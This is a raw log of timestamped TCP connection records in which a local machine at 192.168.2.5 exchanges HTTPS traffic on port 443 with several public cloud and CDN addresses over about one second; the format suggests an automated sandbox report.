Oct 30, 2024 18:06:40.059843063 CET	49803	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.059854031 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.062956095 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.062999010 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.063134909 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.063304901 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.063328981 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.071960926 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.072021961 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.072088003 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.072566986 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.072588921 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.073246956 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.073390007 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.073472977 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.073631048 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.073663950 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.073703051 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:40.073795080 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:40.073857069 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.076066017 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.076113939 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:40.079528093 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.079751968 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.079776049 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.080279112 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.080297947 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.080346107 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.080353022 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.080404043 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.081299067 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.082782984 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.082865000 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.083060980 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.083079100 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.182615042 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.182684898 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.182785034 CET	49801	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.184837103 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.185038090 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.185055017 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.185129881 CET	49802	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.185219049 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.185269117 CET	49800	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.194397926 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.194593906 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.194658041 CET	49803	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.197046995 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.197108030 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.197208881 CET	49799	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.214634895 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.241238117 CET	49803	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.241236925 CET	49799	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.241270065 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.241270065 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.241282940 CET	49803	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.241286039 CET	49799	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.241288900 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.241292953 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.248157978 CET	49801	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.248189926 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.248217106 CET	49801	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.248228073 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.256408930 CET	49802	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.256426096 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.256448984 CET	49802	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.256454945 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.257369995 CET	49800	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.257374048 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.257400990 CET	49800	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.257405043 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.262612104 CET	49815	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.262651920 CET	443	49815	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.262742043 CET	49815	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.266063929 CET	49815	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.266074896 CET	443	49815	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.270926952 CET	49816	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.271018028 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.271106005 CET	49816	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.271253109 CET	49816	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.271284103 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.281032085 CET	49817	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.281059027 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.282011032 CET	49818	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.282047033 CET	49817	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.282052994 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.283196926 CET	49818	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.284821987 CET	49819	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.284830093 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.284909010 CET	49819	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.285180092 CET	49817	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.285190105 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.290062904 CET	49818	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.290083885 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.292661905 CET	49819	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.292682886 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.329806089 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.329849005 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.329933882 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.329946995 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.333830118 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.333897114 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.333905935 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.342552900 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.342602015 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.342612982 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.351303101 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.351376057 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.351382971 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.361677885 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.361736059 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.361763000 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.368659973 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.368737936 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.368747950 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.397609949 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.397670984 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.397676945 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.397689104 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.397730112 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.448518991 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.449346066 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.449533939 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.449541092 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.454027891 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.454195023 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.454200029 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.462651968 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.462697029 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.462708950 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.471085072 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.471128941 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.471148014 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.480003119 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.480108976 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.480130911 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.488699913 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.488749027 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.488768101 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.497494936 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.497541904 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.497553110 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.506136894 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.509119034 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.509133101 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.514986992 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.515038967 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.515059948 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.523102045 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.523164988 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.523185015 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.530670881 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.530730009 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.530747890 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.538374901 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.538450956 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.538471937 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.545821905 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.545897007 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.545905113 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.553369045 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.553416967 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.553421974 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.560789108 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.560857058 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.560864925 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.569302082 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.569334030 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.569375038 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.569381952 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.569473028 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.573542118 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.578773022 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.578811884 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.578826904 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.578846931 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.579097986 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.583535910 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.588383913 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.588416100 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.588454008 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.588470936 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.588516951 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.592973948 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.597795963 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.597909927 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.597922087 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.602488995 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.602535009 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.602591991 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.602607965 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.602773905 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.607465982 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.612670898 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.612721920 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.612723112 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.612734079 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.612772942 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.617983103 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.623297930 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.623344898 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.623433113 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.623442888 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.623584986 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.628679991 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.634031057 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.634079933 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.634134054 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.634143114 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.634262085 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.634927034 CET	49820	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.634958029 CET	443	49820	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:40.635020971 CET	49820	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.635169983 CET	49821	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.635284901 CET	443	49821	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:40.635488033 CET	49820	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.635498047 CET	443	49820	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:40.635524035 CET	49821	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.635786057 CET	49821	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.635812044 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.635819912 CET	443	49821	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:40.640535116 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.641107082 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.641113043 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.645189047 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.645318985 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.645323992 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.650424957 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.650491953 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.650496006 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.654902935 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.655014038 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.655034065 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.659622908 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.659706116 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.659724951 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.667612076 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.667685032 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.667690992 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.673645973 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.674598932 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.674618006 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.675118923 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.675347090 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.675374985 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.675709963 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.676187038 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.676187038 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.676281929 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.682199001 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.682343960 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.682365894 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.687537909 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.687587976 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.687602997 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.687613010 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.688150883 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.689466000 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.694770098 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.694804907 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.694817066 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.694823980 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.694859982 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.698122978 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.793281078 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.793308020 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.793334007 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.793503046 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.793565035 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:40.793631077 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:40.803607941 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:40.803678989 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:40.803786993 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:40.806701899 CET	49820	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.807048082 CET	49821	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:40.808028936 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:40.808574915 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:40.808636904 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:40.814358950 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.814414024 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.814837933 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.814980984 CET	49814	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.815000057 CET	443	49814	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:40.847342014 CET	443	49821	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:40.847357035 CET	443	49820	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:41.034069061 CET	443	49815	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.034636974 CET	49815	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.034672976 CET	443	49815	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.035396099 CET	49815	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.035403967 CET	443	49815	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.035877943 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.036499023 CET	49816	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.036576033 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.037077904 CET	49816	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.037092924 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.040745974 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.041234970 CET	49817	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.041259050 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.041795015 CET	49817	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.041800976 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.049710035 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.050807953 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.050883055 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.051245928 CET	49819	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.051261902 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.051738024 CET	49819	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.051743031 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.062803030 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.062835932 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.063224077 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.063643932 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.063689947 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.063714981 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.063746929 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.064201117 CET	49818	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.064219952 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.064697981 CET	49818	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.064707994 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.105211973 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:41.105251074 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:41.105320930 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:41.105854034 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.105942965 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.106018066 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.106184006 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:41.106199980 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:41.106956959 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.106987953 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.108695984 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.110630035 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.110641003 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.111927032 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.111933947 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.112175941 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.112186909 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.174550056 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.174711943 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.174911022 CET	49816	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.176656008 CET	443	49815	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.176728964 CET	443	49815	13.107.253.45	192.168.2.5
